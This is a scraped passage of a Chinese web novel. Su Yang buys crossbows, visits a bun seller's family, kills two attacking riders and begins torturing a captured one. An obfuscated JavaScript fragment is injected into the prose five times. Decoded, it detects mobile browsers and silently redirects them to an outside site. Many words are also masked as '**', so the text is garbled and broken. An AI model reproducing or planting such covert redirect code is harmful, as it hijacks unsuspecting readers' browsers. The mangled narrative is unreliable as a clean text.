上次苏阳买走了他所有的蹬张**,还有一大堆兵器。 事后,他既兴奋又忐忑。 兴奋的是赚了一大笔,忐忑的是怕惹上麻烦。 这几天,他一直提心吊胆。 今天见苏阳又来了,还以为是来找茬的。 没想到,竟然是送财神来了! “掌柜的,您这铺子,可真是让我好找啊!” 苏阳一边往里走,一边打趣道。 “嘿嘿,小本买卖,小本买卖。” 铁匠谦虚地笑着,心里却乐开了花。 “掌柜的,您上次说的那个蹬张**,还有没有了?” 苏阳开门见山。 “这……” 铁匠面露难色。 “实不相瞒,上次您走后,我就托人打听了,可这蹬张**,实在是不好弄啊!” “这样啊……” 苏阳有些失望。 “那腕张**呢?有多少我要多少!” 他不死心。 “腕张**……有倒是有几张,不过……” “不过什么?” “数量不多,只有七张。客官您要是嫌少,我再给您配几把好刀?” “行吧,七张就七张。” 苏阳也不挑剔。 “**呢?来十杆!还有单刀、盾牌,有多少我要多少!对了,农具也来十套!” 他一口气报了一大串。 铁匠听得目瞪口呆。 这……这是要武装一支军队啊? “客官,您这是……” 他忍不住问道。 苏阳嘿嘿一笑: “不瞒您说,我打算拉起一支队伍,保境安民!” “保境安民?” 铁匠一愣,随即反应过来。 “客官真是……真是深谋远虑!” 他憋了半天,才憋出这么一句。 “哈哈哈,掌柜的过奖了。” 苏阳哈哈大笑。 “老板,不是我说你,你这儿的货也太少了,得招人啊,赶紧扩大生产!下次我再来,你可得多准备些好东西,尤其是蹬张**!” 苏阳拍了拍铁匠的肩膀,一副“我看好你”的样子。 铁匠被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006421|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话给噎得,差点没背过气去。 还招人? 还扩大生产? 你当我是开善堂的啊! 这年头,培养一个铁匠,那得从娃娃抓起! 哪有那么多熟练工给你招? 就算有,人家凭啥给你打工? 自己出去单干不香吗? “客官教训的是,我一定努力,一定努力……” 他嘴上敷衍着,心里却在滴血。 出了铁匠铺,路旭东和周阳一直悬着的心,这才落回了肚子里。 几百两银子啊! 苏阳连眼皮都不带眨一下的,说买就买。 这份气魄,他们是拍马也赶不上。 他们哪儿知道,就这,苏阳还嫌不够呢。 要不是没货,他恨不得把刚赚的银子,全都给花出去! 接连几次出门都遇上劫道的,让他算是彻底认清了这世道。 没点儿防身的家伙,还是老老实实在家待着吧! 为了安全,花多少银子都值! “走,出西门,回家!” 苏阳大手一挥,意气风发。 这几天,他已经让手下的小子们,在家练过射**。 这次,就不用再找地方练习了。 直接打道回府!刚走到长安街口,苏阳突然“吁——”的一声, 硬生生勒住胯下坐骑。 战马吃痛, 前蹄高高扬起, 差点把苏阳掀下马背。 “啪!” 苏阳猛拍脑门, 声音那叫一个响亮。 “**!咋把符福给忘了!” “这记性,真是猪脑子!” 符福的馒头摊前, 围了一圈又一圈的客人。 大家七嘴八舌, 正跟符福为了几个铜板争得面红耳赤, 压根儿就没注意到苏阳这帮人的到来。 “符福!我们阳哥儿叫你呢!” “赶紧的,别磨蹭了!” “你这些馒头,我们全包了!” 陈木生扯着破锣嗓子, 一声大吼, 震得人耳膜嗡嗡直响。 符福正忙着招呼客人, 冷不丁被这一嗓子吓得一个哆嗦, 手里的擀面杖“咣当”一声掉在地上。 他抬头一看, 只见一个黑脸大汉站在面前, 凶神恶煞, 活像庙里头的金刚。 “这……这不是青龙村的陈木生吗?” 符福心里嘀咕, 脸上却不敢有丝毫怠慢, 连忙点头哈腰, “哎呦,这位好汉,您这是… 第九十九章 …” 一大清早出门,忙前忙后, 苏阳这帮人早就饿得前胸贴后背了。 他寻思着,正好去找符福谈生意, 顺便拿他的馒头先对付几口。 符福一听苏阳要见他,哪敢怠慢, 那殷勤劲儿,简直比见了亲爹还亲。 “哎呦喂,苏公子大驾光临, 小店真是蓬荜生辉啊!” “快,快,里边请!” 符福点头哈腰,点头哈腰都快成拨浪鼓了, 他弓着身子,侧过身, 伸手指引着苏阳往屋里走,同时扯开嗓门朝屋里喊: “婆娘!死哪儿去了!” “贵客来了,还不出来接客!” “赶紧烧点热汤!大冷天的,光吃馒头怎么顶得住?” 苏阳一想,也是这么个理儿。 忙活了大半天,大伙儿都冻得够呛, 正好去符福家暖和暖和。 他转头扫了一眼众人, 可转念一想,这么多人, 总不能空着手去啊。 苏阳一咬牙, 罢了,今儿个就大方一回! 他朝陈木生一招手: “石头,你去旁边肉铺,给我割上五斤羊肉!” “要最好的,带骨头的!” “再来十斤猪肉,肥瘦相间的!” “对了,再来一副猪下水,洗干净点儿!” 苏阳心里跟明镜似的, 这些可不是为了送礼, 都是大伙儿自己吃的, 可不能亏待了兄弟们。 青砖街上,几辆马车并排停在符福家门口, 那叫一个气派! 街坊邻居们一下子全炸开了锅, 一个个伸长了脖子, 踮着脚尖往里瞅, 那架势, 就跟看西洋景似的。 “哎呦,你们瞧瞧,符福家这是来了什么贵客啊?” “这么多车,这得是多大的人物啊?” “不知道啊,以前也没见过啊。” “你们看,那个领头的年轻人,是不是有点眼熟?” “好像是……上次来买馒头的那个?” “对对对,就是他!上次还只骑了一头驴,这次……” “我的乖乖,这得多少匹马啊!” “还有那些车,你们瞧见没,都是新的!” “这符福,什么时候攀上这么个有钱亲戚?” “真是祖坟冒青烟了!” “咱们以后可得小心点,这符福,怕是惹不起了……” 几个平时爱占符福便宜的街坊, 此刻心里都有些发虚, 琢磨着以后得换个态度, 不能再像以前那样欺负符福了。 城里人嘛,多少都有些见识。 尤其是这些混迹市井的小民, 就算自己穷得揭不开锅, 可对那些时兴玩意儿, 也能说出个一二三来。 这大概就跟后世那些小资青年似的, 虽然兜里没几个钱, 但说起名牌来, 那叫一个头头是道。 苏阳进了屋, 符福媳妇葛氏一见,眼睛都直了。 “哎呀,苏公子,您可算来了!” 葛氏的声音又尖又细, 透着一股子说不出的欢喜。 她心里跟明镜似的, 这位俊俏公子哥, 可是自家的财神爷啊! 上次要不是苏阳一句话, 她家那几笼屉馒头, 还不知道要卖到啥时候呢。 葛氏今天特意打扮了一番。 她从箱子底翻出那件压箱底的湖水绿对襟窄袖衫, 小心翼翼地穿在身上。 又从头上拔下那根唯一的银钗, 仔细擦拭干净, 插在发髻上。 这身衣裳,这根银钗, 可是她当年在大户人家做丫鬟的时候, 偷偷攒下来的。 平日里,她哪舍得穿,哪舍得戴? 今天, 为了迎接这位“贵客”, 葛氏可是下了血本了。 她站在门口, 身子微微前倾, 一对原本就颇为可观的胸脯, 更是呼之欲出。 再配上那张涂了胭脂水粉的脸蛋, 还真有几分勾人的味道。 苏阳上下打量了葛氏一番, 不得不承认, 这小少妇确实有几分姿色。 只不过, 跟后世那些浓妆艳抹的美女比起来, 葛氏这打扮, 就显得有些土气了。 他哪知道, 在大元朝, 女子能穿上绸缎,戴上银钗, 已经算是很体面了。 像葛氏这样的小家碧玉, 能有这身行头, 已经算是很不错了。 葛氏见苏阳盯着自己看, 心里更是得意, 还以为苏阳被自己的美貌迷住了。 她扭着腰肢, 款款走到苏阳面前, 脸上堆满了笑容, “苏公子,您快请坐。” “妾身这就给您沏茶去。” 说着, 她便转身走向屋角的一个小泥炉。 炉子上, 一个小巧的铜壶正“咕嘟咕嘟”冒着热气。 葛氏小心翼翼地提起铜壶, 将滚烫的开水倒入一个青瓷茶盏中。 然后, 她又从一个精致的木盒里, 取出几片茶叶, 轻轻放入茶盏中。 “苏公子,您尝尝,这是奴家新学的‘沏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006422|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶术’。” “也不知道合不合您的口味。” 葛氏双手捧着茶盏, 递到苏阳面前, 声音柔媚得能滴出水来。 她那双水汪汪的大眼睛, 一眨不眨地盯着苏阳, 眼神中充满了期待。 苏阳接过茶盏, 只见茶汤清澈, 几片嫩绿的茶叶在水中缓缓舒展, 散发出一股淡淡的清香。 他轻轻吹了吹, 抿了一小口, 一股清甜的味道在口中蔓延开来。 “嗯,不错。” “这茶,比上次的还好喝。” 苏阳由衷赞叹。 他虽然不懂茶道, 但好茶坏茶, 还是能品出几分来的。 葛氏见苏阳喜欢, 心里更是乐开了花。 她眉飞色舞地给苏阳介绍起这“沏茶术”的来历。 “苏公子,您有所不知,这‘沏茶术’,可是有讲究的呢……” “先要‘熁盏’,再‘置茶’,然后‘击拂’……” “这‘汤花’,可是关键,要打得均匀,打得细腻……” 葛氏说得头头是道, 苏阳听得苏里雾里。 他只觉得, 这古人喝个茶, 也太麻烦了。 不过, 看着葛氏那副认真的模样, 苏阳也不好打断她。 他只是静静地听着, 偶尔点点头, 表示自己在听。 陈木生等一众手下, 更是听得目瞪口呆。 他们哪里见过这阵势? 一个个张大了嘴巴, 眼睛瞪得溜圆, 生怕错过了一个细节。 “天呐,这喝茶还有这么多讲究?” “这女人,也太能说了吧?” “阳哥儿真是厉害,连这么有学问的女人都能认识。” “咱们以后,也能过上这种日子吗?” 大伙儿心里七上八下, 既兴奋,又忐忑。 品完茶, 符福家的羊汤已经炖得飘香了。 今天, 符福可是下了血本。 他把平日里舍不得用的胡椒, 一股脑儿全倒进了锅里。 那香味, 隔着老远都能闻到, 直勾得人流口水。 大冷的天, 喝上一碗热气腾腾的羊肉汤, 再看看眼前这位能说会道的葛氏, 苏阳手下那帮小子, 一个个心里都乐开了花。 他们觉得, 这简直就是神仙过的日子啊! “啥时候咱也能娶个这么能干的媳妇?” “啥时候咱也能天天喝上这羊肉汤? 第一百章 ” “跟着阳哥儿,肯定没错!” …… 与此同时, 清阳县西城门外。 一支马队, 人人弯弓搭箭, 个个杀气腾腾, 正沿着官道,向西疾驰而去!晨雾散尽,阳光洒满大地。 香茶的余韵还在唇齿间萦绕,热腾腾的羊肉汤更让肠胃舒坦。 再加上葛氏那身段,那谈吐,这一趟买卖,苏阳觉得值了。 是时候告辞了。 苏阳把五斤细盐换成了七两半的银子交给了符福,一拱手,带着一帮小子离开了。 葛氏倚在门边,目光追随着苏阳远去的背影,直到他们消失在街角,依旧痴痴地望着。 “麻虎,你说,苏二……还会再来咱家吗?” 符福像个闷葫芦,一句话也说不出来。 …… 出城的时候,几个守城门的军汉差点把眼珠子瞪出来。 什么世道? 这帮泥腿子,进城才几回啊,就**换炮了? 上次来,还就一辆破牛车。 今儿个,三辆牛车不说,还外带一辆驴车! 这哪是做买卖,简直比抢钱还快! 几个军汉互相递了个眼色,心里跟明镜似的: 这帮小子,八成是跟凤子楼的西家搭上线了,以后少招惹为妙! …… 刚出清阳县城没多远,苏阳就寻了个不起眼的土坡,让车队停了下来。 “都把**机上弦,以防万一!” 为了应对可能发生的意外,苏阳早有准备。 来清阳县的路上,他就让陈木生给几个新来的小子,讲了上次遭遇响马的惊险经历。 那场面,讲得几个新丁蛋儿都吓软了。 苏阳还特意强调了好几遍,路上千万不能掉以轻心,不能松懈,不能大意。 几个新来的小子,虽然平日里油滑,但毕竟也跟着苏阳练了好些日子,起码的服从意识还是有的。 苏阳为了以防万一,特意清空了一辆大车,将车上物资重新分配到周围几辆车中。 所有人,都挤到这辆空牛车上。 用苏阳的话说,这叫“集中优势兵力,形成局部优势”。 真要是遇上剪径的**贼,也能仗着人多势众,给他们来个狠的。 当然,光说不练假把式。 光练不说,也容易让这帮小子变成没脑子的蛮牛。 苏阳深知这一点。 所以,他不仅身体力行,还把这套战术背后的弯弯绕,掰开了,揉碎了,一点一点地灌输给这帮小子。 这种言传身教,可比平日里坐在屋子里讲大道理管用多了。 原本,大伙儿心里头都七上八下的,紧张得不行。 可听了苏阳这番实战讲解,一个个心里都踏实了不少,恐惧感也消散了许多。 尤其是在这种性命攸关的节骨眼上,这帮小子的学习劲头,那叫一个空前高涨。 平时那些上课就打瞌睡的,这会儿也瞪大了眼珠子,竖起耳朵听得真真的,生怕漏掉一个字。 这可不是闹着玩的,万一真碰上响马,听漏了哪句话,小命可就难保了! “都给老子把招子放亮点,再往前走二里地,就是乱石林了!” “这鬼地方,树多林密,是青龙村和清阳县之间最容易藏人的地方,都**……” 苏阳正说着,突然间就卡壳了。 大伙儿听得正入神,见苏阳突然不吭声了,都有些发懵。 阳哥儿这是咋了?卡带了? 还没等他们反应过来,就听见一阵急促的马蹄声,由远及近,如同闷雷般滚滚而来。 紧接着,地面开始微微颤动,远处的地平线上,扬起一片尘土。 三匹快马,如同离弦之箭,风驰电掣般朝这边狂奔而来! 打头一匹,后面还跟着两匹,呈品字形排列。 待距离拉近之后,众人才看清了马背上的骑士。 三名骑士,个个身材魁梧,如同铁塔一般。 更让人心惊的是,无论是人还是马,都沾满了血污。 尤其是那三个骑士的脸,血糊淋剌的,根本看不清模样。 每个人手里都提着明晃晃的兵刃。 午后的阳光下,兵刃闪着瘆人的寒光,仿佛还滴着血! 苏阳的声音瞬间压低了八度:“都准备好家伙,别慌!” 几个没见过世面的小子,差点吓尿了。 手一哆嗦,就要把藏在麻布底下的弓**给抽出来。 幸亏陈木生他们几个老油条眼疾手快,一把给摁住了。 苏阳也下意识地握紧了藏在棉布下的蹬张**。 这年月,兵荒马乱的,小心驶得万年船。 更何况,眼前这仨,一看就不是啥好鸟。 电光火石之间,双方已经近在咫尺。 三个骑士扫了苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006423|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳他们一眼,什么也没说,直接策马冲了过去。 “呼……” 苏阳清晰地听到一阵如释重负的喘气声。 看来,这帮小子是真的吓得不轻。 “二小子,瞧你那怂样,裤裆都湿了吧?” “四眼子,你**还好意思说我?你个鳖孙,自个儿都快吓瘫了!” “切,你们这帮软蛋!瞧瞧老子,面不改色心不跳!” “得了吧,刚才也不知道是谁,吓得连话都说不利索了!” “……” 苏阳没有制止这帮小子的吵闹。 高度紧张过后,总得让他们发泄发泄,不然非得憋出毛病来不可。 然而,就在这帮小子刚刚放松警惕的时候,身后再次传来急促的马蹄声。 扭头一看,我勒个去! 刚才过去的那三个骑士,竟然又兜回来了! “停车!都给老子聚到一块儿,准备迎敌!” 苏阳一声令下,把后面几个赶车的全都招呼到前面。 所有人都紧紧地靠在一起,如临大敌。 对方来势汹汹,转眼间就到了跟前。 苏阳本以为对方会停下来盘问。 可万万没想到,人家根本就没打算停下,直接就朝他们冲了过来! 领头的壮汉一边催马狂奔,一边扯着破锣嗓子大吼: “苏阳!你小子别急着走,我们哥仨有事找你!” 回应他的,不是人声,而是一片冰冷的**箭! 当敌我双方相距仅剩二十步之遥,苏阳突然发出一声怒吼: “射死这帮**!” 几乎就在苏阳发出怒吼的同时,他这边所有人的手里,都变戏法似的出现了一张张上了弦的**! 十余支**箭,撕裂空气,带着尖锐的呼啸声,直奔对面的三名骑士而去! 三个骑士万万没想到,前一刻还赤手空拳的一帮乡下土包子,眨眼间就变出这么多**来! 这**是什么情况? 从哪儿冒出来这么多**? 这也太寸了吧! 二十米的距离,对于高速冲锋的骑兵来说,几乎可以忽略不计。 根本容不得他们多想。 三个骑士的反应出奇地一致—— 几乎同时,身体猛地向下一伏,紧紧地贴在了马背上! “啊!” “呀!” 两边几乎同时响起一片惊呼。 第一百零一章 不同的是,三名骑士是被吓的。 苏阳这边,却是因为懊恼和惋惜而发出的惊呼。 对于这些穷怕了的庄户人家小子来说,三匹活蹦乱跳的战马,那可是一笔巨大的财富! 哪怕他们心里清楚,这些战利品不可能归自己所有,可还是下意识地抬高了**箭的射击角度。 谁也不想伤到这几匹宝马。 苏阳心里也是懊恼不已。 说到底,还是经验不足,训练不到位啊! 日常操练之际,教给这帮小子的,都是怎么对付站在地上的敌人。 瞄准胸口,别打脑袋…… 可现在呢? 人家是骑在马上的,本来目标就高。 再加上这帮小子心疼马,故意把**箭往上瞄…… 这**能射中就见鬼了! 别说对方趴在马背上了,就是不趴,估计也没几个人能射中! 不过,凡事都有例外。 有两个平日里就反应慢,做事**手毛脚的小子。 这会儿一紧张,更是手忙脚乱。 压根儿就没顾上瞄准,凭着本能反应,朝着大概的方向就扣动了**。 结果,他们的箭矢打空了。 准确地说,是射低了。 歪打正着,其中一支**箭,一箭命中领头战马的腿部! “聿聿聿……” 战马发出一声凄厉的嘶鸣,前蹄一软,轰然跪倒在地。 马背上的汉子,身手倒也了得。 感觉到胯下战马的异样,立刻就知道要糟。 他双手猛地一撑马鞍,双脚同时一蹬马镫,就想来个漂亮的后空翻。 然而,人算不如天算。 他左腿受了伤,右腿倒是顺利地从马镫里挣脱了出来。 可左腿一吃痛,竟然没能使上劲,被卡在了马镫里! 结果可想而知,这厮不仅没能帅气着陆,还被失控的坐骑带着一起栽倒。 轰隆一声巨响,连人带马,摔了个七荤八素,那叫一个狼狈。“老远!” 眼瞅着打头的骑士被掀翻,人还被压在马下,紧随其后的一名壮汉睚眦欲裂,手里虎威棒挟裹劲风,直奔牛车砸过来! 迎接他的,是破空袭来的**箭! 嘣! 那是弓弦震颤的声音,短促而尖锐。 第二名骑士连人带马翻倒在地,胸口赫然插着一支**矢,箭羽兀自颤动不休! “老四!” 落在最后的那名壮汉怪叫一声,声音里透着惊惧。 他看得清楚,方才众人齐射时,有个小子留了一手,正是这一手,要了老四的命! 这人正是苏阳! 他早有预料,担心有漏网之鱼。 果然不出所料,还真有,而且还是两条! 就在弓箭离弦之际,苏阳声嘶力竭地吼道:“**,列阵!” 话音未落,小子们已经条件反射般地动了起来。 “唰唰唰——” **从小子们藏身的棉布下抽出,枪尖抵在牛车上,齐刷刷地向前,组成一道密不透风的枪阵! 几乎是同一时刻,苏阳感觉自己被死神扼住了喉咙! 只见最后那壮汉情急之下,竟将手中的朴刀当做暗器,朝着苏阳掷了过来! 这一下又快又狠,刀锋未至,劲风已扑面而来,刮得苏阳脸颊生疼! 他心头一凛,这要是被砸中,不死也得丢半条命! 千钧一发之际,他几乎是本能地举起一面盾牌。 这是他吸取了上次和弓箭手对射的教训,苦练多日形成的肌肉记忆。 平日里,他可没少琢磨怎么应对远程攻击,还真让他琢磨出点门道! 铛! 朴刀重重地砸在盾牌上,震得苏阳双臂发麻,发出震耳欲聋的巨响。 盾牌又猛地撞在苏阳的胸口,他闷哼一声,只觉一阵剧痛,眼前发黑,险些没直接昏死过去! “阳哥儿!” “村正!” 旁边几个小子一看这情形,顿时红了眼! 尤其是石头和周阳,两人离苏阳最近,看得最是清楚。 石头和苏阳那是过命的交情,一起出生入死,比亲兄弟还亲。 周阳呢,则是将苏阳当成全家的救命恩人。 要不是苏阳,他们一家早就饿**,哪还能有今天的好日子! 眼见苏阳受伤,两人心中的怒火“腾”地一下就窜了起来! “弄死你个**的!” “杀!” 石头和周阳几乎同时怒吼,将手中**奋力投掷出去! 掷出朴刀的壮汉,已经抽出腰刀,正待催马冲上来大开杀戒。 谁知异变陡生,眼前寒光闪烁,一排枪尖直挺挺地出现在面前! “他奶奶的!” 壮汉吓得魂飞魄散,忍不住爆了句粗口。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006424|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮小子,也忒邪门了! **箭刚完事,又来**,没完了是吧?! 面对枪阵,壮汉不敢硬冲。 他胯下战马也通人性,知道厉害,嘶鸣一声,硬生生停下脚步,猛地人立而起,险些把壮汉掀下马背! 就在这电光火石之间,石头和周阳的长矛已至! 这壮汉也是了得,仓促之间,居然还能挥动腰刀,格挡攻击。 只听“叮叮”两声脆响,火星四溅,两杆**被磕飞出去! 然而,战马的去势已尽,想要再提速冲锋已是来不及。 壮汉只能眼睁睁地看着,自己与牛车之间的距离越来越远。 几个小子也紧张得不行,方才那一幕实在太过惊险,他们感觉自己的心都快跳到嗓子眼了! 绕开枪阵,壮汉调转马头,脸上的横肉因为愤怒而扭曲,他咬牙切齿,目露凶光:“你们……你们都给我等着瞧,老子要血洗青龙村,一个不留……” 狠话还没放完,戛然而止! 一支**矢,深深扎进他的侧肋! “呃……” 壮汉惨叫一声,从马背上摔落下来,激起一片尘土! 苏阳缓缓放下手中的腕张**,额角犹带冷汗,微微喘息。 凭啥说一人就只能配一把弓? 旁人如何,他苏阳管不着,但他有两张! 上次进城置办物资时,苏阳便留了个心眼,除了三张蹬张**外,还特意买了两张更轻便的腕张**。 而这次进城,他又添了七张腕张**! 总共十二张**,十一个人,还富余一张呢! 多出来的那张**,就放在苏阳手边,以备不时之需。 谁成想,这多出来的一张**,还真就派上了用场,救了自己一命! 几个新来的小子见敌人尽数**,瞬间打起了精神,摩拳擦掌,就要跳下牛车冲上去补刀! “都**给老子站住!” 苏阳一声断喝,如平地惊雷,生生将这几个愣头青震住。 “长本事了啊?!” 他一边麻利地给**上弦,一边怒斥: “平时咋教你们的,都喂狗肚子里去了?” “先把**给老子上好!听着,只要敌人没死透,就都**别放松警惕!” 苏阳的语气严厉,不容置疑。 几个小子被骂得缩了缩脖子,这才想起平时训练时,苏阳的谆谆教诲。 第一百零二章 刚才是真打上头了,什么都忘了。 当然,也有几个小子心中不以为然,暗自撇嘴,觉得苏阳太过谨慎。 敌人都那样了,还有啥好怕的? 苏阳没空理会这些小九九。 他只能尽力避免伤亡,但不敢保证一个都不死。 真要有哪个不长眼的,不听指挥,出了事,只能认栽了,怨不得旁人。 “听好了!” 苏阳将两张**都上了弦,沉声下令: “所有**箭上弦!石头,你带四个人,组成小队,靠近那个被马压着的,其他人跟在我身后,保持距离,都机灵点!” 命令下达,众人不敢怠慢。 等所有人都重新给**上好弦,苏阳这才一挥手。 石头领着四个兄弟,组建了一支队伍,按照平时训练的阵型,小心翼翼地向被马压住的倒霉蛋靠近……苏阳定下的阵仗,说白了就俩字:实用。五个爷们儿一组,能打能抗。 俩刀盾手,并排往前一站,跟铁塔似的。 他俩身后,站着俩**手,枪尖子锃亮,专挑人要害招呼。 这四位中间,再来个**手,远程点杀。 这队伍,可比清一色的刀枪棍棒强多了。 石头领着四个兄弟,小心翼翼地朝那被马压着的倒霉蛋凑过去。 路旭东刚要上手绑人,毕明志突然一嗓子:“等等!” 他手里那杆枪,直挺挺地抵在那倒霉蛋的脖子上: “枪尖子顶住了!他敢动弹一下,直接送他见阎王!” 毕明志这人,平时闷声不响,可一上阵,比谁都心细,到底是见过血的。 路旭东一愣,立马照办。 刚要拿绳子,他“嗷”一嗓子嚎起来: “我x!这孙子袖子里还藏着刀!” 这声儿,把边上几位都吓一跳。 他奶奶的,差点儿就着了道的! “别动!动一下试试,老子扎穿你!” 另一个**手也快,一步蹿上去,枪尖子指着那人胸口。 “好汉……大爷行行好别杀我!咱们往日无冤,近日无仇,误会,都是误会啊……” 那倒霉蛋这回是真没辙了,本想垂死挣扎一下,没成想,人家早有防备。 “误会?呸!” 路旭东气不打一处来,这帮贼人,刚刚还凶神恶煞的,现在倒装怂了? 他可不惯这毛病,抡圆了胳膊,“**”几个大耳刮子就扇过去了。 直打得那人满脸桃花开,血水混着牙齿往外冒。 “绑!给老子捆结实了!” 路旭东还不解恨,手上加劲儿,绳子都勒肉里去了,疼得那人直哼哼。 旁边有俩小子,之前还觉着苏阳是不是多虑了。 这会儿,后脊梁都冒凉风。 这可不是闹着玩的,一个不留神,小命就没了! 苏阳可是三令五申,啥时候都不能马虎。 他俩倒好,听不进去。 这下,算是彻底服气了。 等路旭东把人捆得像个粽子,石头正准备叫手下拿下另一人。 苏阳发话了: “石头,你几个回来,换拨人上!” 苏阳这是打定主意,要让所有人都沾沾血,长长记性。 光动嘴皮子,不来真格的,到时候还是白给。 这回,孔远山带队。 头一批见过血的四个老兵里,石头、路旭东、毕明志都上过阵了,就剩他一个。 上回那事儿,人少,他孔远山怂了,还能找找借口。 这回,自己这边人多势众,再掉链子,那可就真没法混了。 好在,上次他最后也算爷们儿了一把,用**捅了人,多少也算有点儿经验。 可真到了跟前,孔远山心里那鼓又开始泄气。 他是老兵,按规矩得干刀盾手的活儿,负责绑人。 可这满地的血,红的白的,瞧着就恶心,两条腿发软,愣是不听使唤。 苏阳心里有数,特意让石头给他盯着点儿。 石头抱着蹬张**,在孔远山的小队外头溜达。 他拿眼一瞅,就知道孔远山这怂包又要犯怵。 “唉……” 石头叹了口气,装模作样地嘟囔: “也不知道二哥咋想的,非要来这么一出……说是啥,要是不中用,就都滚蛋……” 这话,孔远山听得真真的。 他心里“咯噔”一下,脸色都变了。 滚蛋? 这可万万使不得! 他孔远山,现在是吃香的喝辣的,出门都有人巴结。 要是再让他回去过那种暗无天日的日子,那还不如**算了! 孔远山越想越不是滋味。 “**!老子不信这个邪!” 孔远山猛吸一口气,强忍着恶心,弯腰就朝地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16006425|178327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上那人摸过去…… “呼……呼……” 摸了半天,孔远山才找着北,声音都打颤了: “超……阳哥儿,这……这人……没了!” “切……” 周围一片鄙视。 一个**,瞧把你吓的,还不如我们呢! 孔远山脸上一阵红一阵白,不过好歹算是完成了任务。 没等他喘口气,苏阳又发话了: “远山,下一个。” 孔远山差点儿没背过气去。 他闻着那血腥味儿都想吐,苏阳还让他去? 不是说好换人吗? 可他转念一想,苏阳之前可就说过了,有啥意见,私下里提。 打仗的时候,他的话就是命令! 谁敢不听,他可是真敢动手! 孔远山心里清楚,苏阳可不是吓唬人。 为了小命着想,孔远山只能捏着鼻子,带着他那几个临时队员,一步三挪地走向下一个…… “呼……呼……阳哥儿,这……这个……也没气儿了!” 孔远山这回,声音都快哭出来了。 众人这回,连搭理他的心思都没了。 没气儿就没气儿呗,多大点儿事儿! 苏阳一挥手: “都麻利点儿,把尸体都弄林子里去,把这儿收拾干净。” 边上就有一小片林子,树不密,不过挡挡路人的眼,也够用了。 大伙儿一通忙活,两人一组,把那些横七竖八的尸体,都拖进了林子。 那几匹马,一头倒在箭雨下,另外俩还活着,也没受伤,也都被弄进了林子。 牛车、驴车,自然也不能留在外面。 等这些都弄完了,大伙儿也累得够呛,得歇会儿,缓缓神儿,才能继续走。 苏阳又让人把地上的血迹擦了,把射出去的**箭捡回来,那些乱七八糟的脚印、车辙印,也都扫平。 他亲自来回走了几趟,确认没留下啥马脚,这才最后一个进了林子。 林子里,苏阳走到那被捆的**跟前,一屁股坐到地上,冷冰冰地问: “说吧,你咋知道我叫啥?又咋知道我们是青龙村的?”林子里静悄悄的,只有几缕阳光穿过枝叶,在地上投下斑驳的光影。 苏阳一屁股坐在湿漉漉的地上,冷冷地盯着眼前五花大绑的**。这家伙一脸血污,眼神闪烁,一看就不是什么好鸟。 第一百零三章 “说吧。” 苏阳的声音像从冰窖里捞出来的,不带一丝温度。他把玩着手里的一支羽箭, “你们是什么人?到这里干什么?” 对面的**眼珠子乱转,嘴唇哆嗦着,像风中的树叶,半天憋不出一个完整的字。 苏阳冷笑一声。耐心这种东西,他可从来不缺。尤其是对付这种不见棺材不落泪的货色。 他从地上捡起一根带着倒刺的树枝,在**眼前晃了晃,那倒刺在阳光下闪着寒光。 “不说?行,我帮你好好回忆回忆。” 说着,苏阳手腕一抖,那带着尖刺的树枝便裹挟着风声,狠狠抽在**身上。 “啊!” 